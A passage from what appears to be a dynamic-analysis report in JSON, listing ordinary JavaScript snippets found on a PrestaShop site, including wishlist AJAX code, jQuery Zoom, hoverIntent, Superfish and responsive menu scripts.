1,\t\t\tid_wishlist:id_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'setdefault'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tvar old_default_id = $(\".is_wish_list_default\").parents(\"tr\").attr(\"id\");\t\t\tvar td_check = $(\".is_wish_list_default\").parent();\t\t\t$(\".is_wish_list_default\").remove();\t\t\ttd_check.append('<a href=\"#\" onclick=\"javascript:event.preventDefault();(WishlistDefault(\\''+old_default_id+'\\', \\''+old_default_id.replace(\"wishlist_\", \"\")+'\\'));\"><i class=\"icon icon-square\"></i></a>');\t\t\tvar td_default = $(\"#\"+id+\" > .wishlist_default\");\t\t\t$(\"#\"+id+\" > .wishlist_default > a\").remove();\t\t\ttd_default.append('<p class=\"is_wish_list_default\"><i class=\"icon icon-check-square\"></i></p>');\t\t}\t});}/*** Hide/Show bought product** @return void*/function WishlistVisibility(bought_class, id_button){\tif ($('#hide' + id_button).is(':hidden'))\t{\t\t$('.' + bought_class).slideDown('fast');\t\t$('#show' + id_button).hide();\t\t$('#hide' + id_button).css('display', 'block');\t}\telse\t{\t\t$('.' + bought_class).slideUp('fast');\t\t$('#hide' + id_button).hide();\t\t$('#show' + id_button).css('display', 'block');\t}}/*** Send wishlist by email** @return void*/function WishlistSend(id, id_wishlist, id_email){\t$.post(\t\tbaseDir + 'modules/blockwishlist/sendwishlist.php',\t\t{\t\t\ttoken: static_token,\t\t\tid_wishlist: id_wishlist,\t\t\temail1: $('#' + id_email + '1').val(),\t\t\temail2: $('#' + id_email + '2').val(),\t\t\temail3: $('#' + id_email + '3').val(),\t\t\temail4: $('#' + id_email + '4').val(),\t\t\temail5: $('#' + id_email + '5').val(),\t\t\temail6: $('#' + id_email + '6').val(),\t\t\temail7: $('#' + id_email + '7').val(),\t\t\temail8: $('#' + id_email + '8').val(),\t\t\temail9: $('#' + id_email + '9').val(),\t\t\temail10: $('#' + id_email + '10').val()\t\t},\t\tfunction(data)\t\t{\t\t\tif (data)\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + data + '</p>'\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(data);\t\t\t}\t\t\telse\t\t\t\tWishlistVisibility(id, 'hideSendWishlist');\t\t}\t);}function wishlistProductsIdsAdd(id){\tif ($.inArray(parseInt(id),wishlistProductsIds) == -1)\t\twishlistProductsIds.push(parseInt(id))}function wishlistProductsIdsRemove(id){\twishlistProductsIds.splice($.inArray(parseInt(id),wishlistProductsIds), 1)}function wishlistRefreshStatus(){\t$('.addToWishlist').each(function(){\t\tif ($.inArray(parseInt($(this).prop('rel')),wishlistProductsIds)!= -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function wishlistProductChange(id_product, id_product_attribute, id_old_wishlist, id_new_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\tvar quantity = $('#quantity_' + id_product + '_' + id_product_attribute).val();\t$.ajax({\t\ttype: 'GET',\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdataType: \"json\",\t\tdata: {\t\t\tid_product:id_product,\t\t\tid_product_attribute:id_product_attribute,\t\t\tquantity: quantity,\t\t\tpriority: $('#priority_' + id_product + '_' + id_product_attribute).val(),\t\t\tid_old_wishlist:id_old_wishlist,\t\t\tid_new_wishlist:id_new_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'productchangewishlist'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tif (data.success == true) {\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('slow');\t\t\t\t$('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text($('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text() - quantity);\t\t\t\t$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text(+$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text() + +quantity);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + data.error + '</p>'\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t}\t\t}\t});}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* \r* Zoom 1.3 - jQuery image zooming plugin\r* @author Jack Moore - jacklmoore.com\r* @copyright 2012 \r* @license www.opensource.org/licenses/mit-license.php\r*/\r\r(function($){var defaults={url:false,icon:true,grab:false,callback:false,duration:120};$.fn.zoom=function(options){return this.each(function(){var root=this,$root=$(root),img=new Image(),$img=$(img),$icon,position=$root.css(\"position\"),settings=$.extend({},defaults,options||{}),mousemove=\"mousemove\";$root.css({position:/(absolute|fixed)/.test(position)?position:\"relative\",overflow:\"hidden\"});if(!settings.url){settings.url=$root.find(\"img:first\")[0].src;if(!settings.url){return}}if(settings.icon){$icon=$('<div class=\"zoomIcon\">').appendTo($root)}img.onload=function(){var outerWidth,outerHeight,xRatio,yRatio,left,top,offset=$root.offset();function ratio(){outerWidth=$root.outerWidth();outerHeight=$root.outerHeight();xRatio=(img.width-outerWidth)/outerWidth;yRatio=(img.height-outerHeight)/outerHeight}function move(e){left=(e.pageX-offset.left);top=(e.pageY-offset.top);if(left>outerWidth){left=outerWidth}else{if(left<0){left=0}}if(top>outerHeight){top=outerHeight}else{if(top<0){top=0}}img.style.left=(left*-xRatio)+\"px\";img.style.top=(top*-yRatio)+\"px\";e.preventDefault()}ratio();$img.addClass(\"zoomImg\").css({position:\"absolute\",top:0,left:0,opacity:0,width:img.width,height:img.height,border:\"none\",maxWidth:\"none\"}).appendTo($root);if(settings.grab){$img.mousedown(function(e){offset=$root.offset();$(document).one(\"mouseup\",function(){$img.stop().fadeTo(settings.duration,0);$(document).unbind(mousemove,move)});ratio();move(e);$img.stop().fadeTo($.support.opacity?settings.duration:0,1);$(document)[mousemove](move);e.preventDefault()})}else{$img.hover(function(){offset=$root.offset();ratio();$img.stop().fadeTo($.support.opacity?settings.duration:0,1)},function(){$img.stop().fadeTo(settings.duration,0)})[mousemove](function(e){img.style.left=(e.pageX-offset.left)*-xRatio+\"px\";img.style.top=(e.pageY-offset.top)*-yRatio+\"px\"})}if($.isFunction(settings.callback)){settings.callback.call(img)}};img.src=settings.url})};$.fn.zoom.defaults=defaults}(jQuery));",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r$(document).ready(function(){\r\rif ($('body').attr('id') === 'product' && $(\"#center_column #views_block #thumbs_list li a.shown img\").length ) { \r \r var wplink = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r \r \r // default\r $('#center_column #image-block img#bigpic')\r .wrap('<span style=\"display:inline-block; max-width: 100%\"></span>')\r .css('display', 'block')\r .parent()\r .zoom({\r url: wplink, \r icon: true \r });\r \r // mouse over thumb image\r $('#center_column #thumbs_list ul li a img').mouseover(function() { \r var wpsrc = $(this).attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpsrc);\r }); \r \r // color picker\r if ($(\"#center_column ul#color_to_pick_list\").length > 0) { \r $('#center_column ul#color_to_pick_list li a').click(function() {\r setTimeout(function(){ \r var wplinkpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wplinkpick);\r }, 100);\r \r \r });\r }\r\r // on attribute selectbox change\r $('#attributes select').change(function() { \r setTimeout(function(){ \r var wpselectpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpselectpick); \r }, 100);\r });\r \r \r }; \r});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel2').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel2-prev\",\r next : \".mycarousel2-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel2\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel2').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel2').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel3').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel3-prev\",\r next : \".mycarousel3-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel3\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel3').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel3').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * hoverIntent is similar to jQuery's built-in \"hover\" method except that * instead of firing the handlerIn function immediately, hoverIntent checks * to see if the user's mouse has slowed down (beneath the sensitivity * threshold) before firing the event. The handlerOut function is only * called after a matching handlerIn. * * hoverIntent r7 // 2013.03.11 // jQuery 1.9.1+ * http://cherne.net/brian/resources/jquery.hoverIntent.html * * You may use hoverIntent under the terms of the MIT license. Basically that * means you are free to use hoverIntent as long as this header is left intact. * Copyright 2007, 2013 Brian Cherne * * // basic usage ... just like .hover() * .hoverIntent( handlerIn, handlerOut ) * .hoverIntent( handlerInOut ) * * // basic usage ... with event delegation! * .hoverIntent( handlerIn, handlerOut, selector ) * .hoverIntent( handlerInOut, selector ) * * // using a basic configuration object * .hoverIntent( config ) * * @param handlerIn function OR configuration object * @param handlerOut function OR selector for delegation OR undefined * @param selector selector OR undefined * @author Brian Cherne <brian(at)cherne(dot)net> **/(function($) { $.fn.hoverIntent = function(handlerIn,handlerOut,selector) { // default configuration values var cfg = { interval: 100, sensitivity: 7, timeout: 0 }; if ( typeof handlerIn === \"object\" ) { cfg = $.extend(cfg, handlerIn ); } else if ($.isFunction(handlerOut)) { cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } ); } else { cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } ); } // instantiate variables // cX, cY = current X and Y position of mouse, updated by mousemove event // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval var cX, cY, pX, pY; // A private function for getting mouse position var track = function(ev) { cX = ev.pageX; cY = ev.pageY; }; // A private function for comparing current and previous mouse position var compare = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); // compare mouse positions to see if they've crossed the threshold if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) { $(ob).off(\"mousemove.hoverIntent\",track); // set hoverIntent state to true (so mouseOut can be called) ob.hoverIntent_s = 1; return cfg.over.apply(ob,[ev]); } else { // set previous coordinates for next time pX = cX; pY = cY; // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval ); } }; // A private function for delaying the mouseOut function var delay = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); ob.hoverIntent_s = 0; return cfg.out.apply(ob,[ev]); }; // A private function for handling mouse 'hovering' var handleHover = function(e) { // copy objects to be passed into t (required for event object to be passed in IE) var ev = jQuery.extend({},e); var ob = this; // cancel hoverIntent timer if it exists if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); } // if e.type == \"mouseenter\" if (e.type == \"mouseenter\") { // set \"previous\" X and Y position based on initial entry point pX = ev.pageX; pY = ev.pageY; // update \"current\" X and Y position based on mousemove $(ob).on(\"mousemove.hoverIntent\",track); // start polling interval (self-calling timeout) to compare mouse coordinates over time if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );} // else e.type == \"mouseleave\" } else { // unbind expensive mousemove event $(ob).off(\"mousemove.hoverIntent\",track); // if hoverIntent state is true, then call the mouseOut function after the specified delay if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );} } }; // listen for mouseenter and mouseleave return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector); };})(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * jQuery Superfish Menu Plugin - v1.7.4 * Copyright (c) 2013 Joel Birch * * Dual licensed under the MIT and GPL licenses: *\thttp://www.opensource.org/licenses/mit-license.php *\thttp://www.gnu.org/licenses/gpl.html */(function ($) {\t\"use strict\";\tvar methods = (function () {\t\t// private properties and methods go here\t\tvar c = {\t\t\t\tbcClass: 'sf-breadcrumb',\t\t\t\tmenuClass: 'sf-js-enabled',\t\t\t\tanchorClass: 'sf-with-ul',\t\t\t\tmenuArrowClass: 'sf-arrows'\t\t\t},\t\t\tios = (function () {\t\t\t\tvar ios = /iPhone|iPad|iPod/i.test(navigator.userAgent);\t\t\t\tif (ios) {\t\t\t\t\t// iOS clicks only bubble as far as body children\t\t\t\t\t$(window).load(function () {\t\t\t\t\t\t$('body').children().on('click', $.noop);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn ios;\t\t\t})(),\t\t\twp7 = (function () {\t\t\t\tvar style = document.documentElement.style;\t\t\t\treturn ('behavior' in style && 'fill' in style && /iemobile/i.test(navigator.userAgent));\t\t\t})(),\t\t\ttoggleMenuClasses = function ($menu, o) {\t\t\t\tvar classes = c.menuClass;\t\t\t\tif (o.cssArrows) {\t\t\t\t\tclasses += ' ' + c.menuArrowClass;\t\t\t\t}\t\t\t\t$menu.toggleClass(classes);\t\t\t},\t\t\tsetPathToCurrent = function ($menu, o) {\t\t\t\treturn $menu.find('li.' + o.pathClass).slice(0, o.pathLevels)\t\t\t\t\t.addClass(o.hoverClass + ' ' + c.bcClass)\t\t\t\t\t\t.filter(function () {\t\t\t\t\t\t\treturn ($(this).children(o.popUpSelector).hide().show().length);\t\t\t\t\t\t}).removeClass(o.pathClass);\t\t\t},\t\t\ttoggleAnchorClass = function ($li) {\t\t\t\t$li.children('a').toggleClass(c.anchorClass);\t\t\t},\t\t\ttoggleTouchAction = function ($menu) {\t\t\t\tvar touchAction = $menu.css('ms-touch-action');\t\t\t\ttouchAction = (touchAction === 'pan-y') ? 'auto' : 'pan-y';\t\t\t\t$menu.css('ms-touch-action', touchAction);\t\t\t},\t\t\tapplyHandlers = function ($menu, o) {\t\t\t\tvar targets = 'li:has(' + o.popUpSelector + ')';\t\t\t\tif ($.fn.hoverIntent && !o.disableHI) {\t\t\t\t\t$menu.hoverIntent(over, out, targets);\t\t\t\t}\t\t\t\telse {\t\t\t\t\t$menu\t\t\t\t\t\t.on('mouseenter.superfish', targets, over)\t\t\t\t\t\t.on('mouseleave.superfish', targets, out);\t\t\t\t}\t\t\t\tvar touchevent = 'MSPointerDown.superfish';\t\t\t\tif (!ios) {\t\t\t\t\ttouchevent += ' touchend.superfish';\t\t\t\t}\t\t\t\tif (wp7) {\t\t\t\t\ttouchevent += ' mousedown.superfish';\t\t\t\t}\t\t\t\t$menu\t\t\t\t\t.on('focusin.superfish', 'li', over)\t\t\t\t\t.on('focusout.superfish', 'li', out)\t\t\t\t\t.on(touchevent, 'a', o, touchHandler);\t\t\t},\t\t\ttouchHandler = function (e) {\t\t\t\tvar $this = $(this),\t\t\t\t\t$ul = $this.siblings(e.data.popUpSelector);\t\t\t\tif ($ul.length > 0 && $ul.is(':hidden')) {\t\t\t\t\t$this.one('click.superfish', false);\t\t\t\t\tif (e.type === 'MSPointerDown') {\t\t\t\t\t\t$this.trigger('focus');\t\t\t\t\t} else {\t\t\t\t\t\t$.proxy(over, $this.parent('li'))();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tover = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t$this.siblings().superfish('hide').end().superfish('show');\t\t\t},\t\t\tout = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tif (ios) {\t\t\t\t\t$.proxy(close, $this, o)();\t\t\t\t}\t\t\t\telse {\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\to.sfTimer = setTimeout($.proxy(close, $this, o), o.delay);\t\t\t\t}\t\t\t},\t\t\tclose = function (o) {\t\t\t\to.retainPath = ($.inArray(this[0], o.$path) > -1);\t\t\t\tthis.superfish('hide');\t\t\t\tif (!this.parents('.' + o.hoverClass).length) {\t\t\t\t\to.onIdle.call(getMenu(this));\t\t\t\t\tif (o.$path.length) {\t\t\t\t\t\t$.proxy(over, o.$path)();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tgetMenu = function ($el) {\t\t\t\treturn $el.closest('.' + c.menuClass);\t\t\t},\t\t\tgetOptions = function ($el) {\t\t\t\treturn getMenu($el).data('sf-options');\t\t\t};\t\treturn {\t\t\t// public methods\t\t\thide: function (instant) {\t\t\t\tif (this.length) {\t\t\t\t\tvar $this = this,\t\t\t\t\t\to = getOptions($this);\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn this;\t\t\t\t\t}\t\t\t\t\tvar not = (o.retainPath === true) ? o.$path : '',\t\t\t\t\t\t$ul = $this.find('li.' + o.hoverClass).add(this).not(not).removeClass(o.hoverClass).children(o.popUpSelector),\t\t\t\t\t\tspeed = o.speedOut;\t\t\t\t\tif (instant) {\t\t\t\t\t\t$ul.show();\t\t\t\t\t\tspeed = 0;\t\t\t\t\t}\t\t\t\t\to.retainPath = false;\t\t\t\t\to.onBeforeHide.call($ul);\t\t\t\t\t$ul.stop(true, true).animate(o.animationOut, speed, function () {\t\t\t\t\t\tvar $this = $(this);\t\t\t\t\t\to.onHide.call($this);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn this;\t\t\t},\t\t\tshow: function () {\t\t\t\tvar o = getOptions(this);\t\t\t\tif (!o) {\t\t\t\t\treturn this;\t\t\t\t}\t\t\t\tvar $this = this.addClass(o.hoverClass),\t\t\t\t\t$ul = $this.children(o.popUpSelector);\t\t\t\to.onBeforeShow.call($ul);\t\t\t\t$ul.stop(true, true).animate(o.animation, o.speed, function () {\t\t\t\t\to.onShow.call($ul);\t\t\t\t});\t\t\t\treturn this;\t\t\t},\t\t\tdestroy: function () {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this),\t\t\t\t\t\to = $this.data('sf-options'),\t\t\t\t\t\t$hasPopUp;\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\t// remove event handlers\t\t\t\t\t$this.off('.superfish').off('.hoverIntent');\t\t\t\t\t// clear animation's inline display style\t\t\t\t\t$hasPopUp.children(o.popUpSelector).attr('style', function (i, style) {\t\t\t\t\t\treturn style.replace(/display[^;]+;?/g, '');\t\t\t\t\t});\t\t\t\t\t// reset 'current' path classes\t\t\t\t\to.$path.removeClass(o.hoverClass + ' ' + c.bcClass).addClass(o.pathClass);\t\t\t\t\t$this.find('.' + o.hoverClass).removeClass(o.hoverClass);\t\t\t\t\to.onDestroy.call($this);\t\t\t\t\t$this.removeData('sf-options');\t\t\t\t});\t\t\t},\t\t\tinit: function (op) {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this);\t\t\t\t\tif ($this.data('sf-options')) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\tvar o = $.extend({}, $.fn.superfish.defaults, op),\t\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\to.$path = setPathToCurrent($this, o);\t\t\t\t\t$this.data('sf-options', o);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\tapplyHandlers($this, o);\t\t\t\t\t$hasPopUp.not('.' + c.bcClass).superfish('hide', true);\t\t\t\t\to.onInit.call(this);\t\t\t\t});\t\t\t}\t\t};\t})();\t$.fn.superfish = function (method, args) {\t\tif (methods[method]) {\t\t\treturn methods[method].apply(this, Array.prototype.slice.call(arguments, 1));\t\t}\t\telse if (typeof method === 'object' || ! method) {\t\t\treturn methods.init.apply(this, arguments);\t\t}\t\telse {\t\t\treturn $.error('Method ' + method + ' does not exist on jQuery.fn.superfish');\t\t}\t};\t$.fn.superfish.defaults = {\t\tpopUpSelector: 'ul,.sf-mega', // within menu context\t\thoverClass: 'sfHover',\t\tpathClass: 'overrideThisToUse',\t\tpathLevels: 1,\t\tdelay: 0,\t\tanimation: {opacity: 'show'},\t\tanimationOut: {opacity: 'hide'},\t\tspeed: 'normal',\t\tspeedOut: 'fast',\t\tcssArrows: true,\t\tdisableHI: true,\t\tonInit: $.noop,\t\tonBeforeShow: $.noop,\t\tonShow: $.noop,\t\tonBeforeHide: $.noop,\t\tonHide: $.noop,\t\tonIdle: $.noop,\t\tonDestroy: $.noop\t};\t// soon to be deprecated\t$.fn.extend({\t\thideSuperfishUl: methods.hide,\t\tshowSuperfishUl: methods.show\t});})(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var responsiveflagMenu = false;var categoryMenu = $('ul.sf-menu');var mCategoryGrover = $('.sf-contener .cat-title');$(document).ready(function(){\tcategoryMenu = $('ul.sf-menu');\tmCategoryGrover = $('.sf-contener .cat-title');\tresponsiveMenu();\t$(window).resize(responsiveMenu);});// check resolutionfunction responsiveMenu(){ if ($(document).width() <= 767 && responsiveflagMenu == false)\t{\t\tmenuChange('enable');\t\tresponsiveflagMenu = true;\t}\telse if ($(document).width() >= 768)\t{\t\tmenuChange('disable');\t\tresponsiveflagMenu = false;\t}}// init Super Fish Menu for 767px+ resolutionfunction desktopInit(){\tmCategoryGrover.off();\tmCategoryGrover.removeClass('active');\t$('.sf-menu > li > ul').removeClass('menu-mobile').parent().find('.menu-mobile-grover').remove();\t$('.sf-menu').removeAttr('style');\tcategoryMenu.superfish('init');\t//add class for width define\t$('.sf-menu > li > ul').addClass('submenu-container clearfix');\t // loop through each sublist under each top list item $('.sf-menu > li > ul').each(function(){ i = 0; //add classes for clearing $(this).each(function(){ if ($(this).attr('class') != \"category-thumbnail\"){ i++; if(i % 2 == 1) $(this).addClass('first-in-line-xs'); else if (i % 5 == 1) $(this).addClass('first-in-line-lg'); } }); });}function mobileInit(){\tcategoryMenu.superfish('destroy');\t$('.sf-menu').removeAttr('style');\tmCategoryGrover.on('click', function(e){\t\t$(this).toggleClass('active').parent().find('ul.menu-content').stop().slideToggle('medium');\t\treturn false;\t});\t$('.sf-menu > li > ul').addClass('menu-mobile clearfix').parent().prepend('<span class=\"menu-mobile-grover\"></span>');\t$(\".sf-menu .menu-mobile-grover\").on('click', function(e){\t\tvar catSubUl = $(this).next().next('.menu-mobile');\t\tif (catSubUl.is(':hidden'))\t\t{\t\t\tcatSubUl.slideDown();\t\t\t$(this).addClass('active');\t\t}\t\telse\t\t{\t\t\tcatSubUl.slideUp();\t\t\t$(this).removeClass('active');\t\t}\t\treturn false;\t});\t$('#block_top_menu > ul:first > li > a').on('click', function(e){\t\tvar parentOffset = $(this).prev().offset();\t \tvar relX = parentOffset.left - e.pageX;\t\tif ($(this).parent('li').find('ul').length && relX >= 0 && relX <= 20)\t\t{\t\t\te.preventDefault();\t\t\tvar mobCatSubUl = $(this).next('.menu-mobile');\t\t\tvar mobMenuGrover = $(this).prev();\t\t\tif (mobCatSubUl.is(':hidden'))\t\t\t{\t\t\t\tmobCatSubUl.slideDown();\t\t\t\tmobMenuGrover.addClass('active');\t\t\t}\t\t\telse\t\t\t{\t\t\t\tmobCatSubUl.slideUp();\t\t\t\tmobMenuGrover.removeClass('active');\t\t\t}\t\t}\t});}// change the menu display at different resolutionsfunction menuChange(status){\tstatus == 'enable' ? mobileInit(): desktopInit();}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
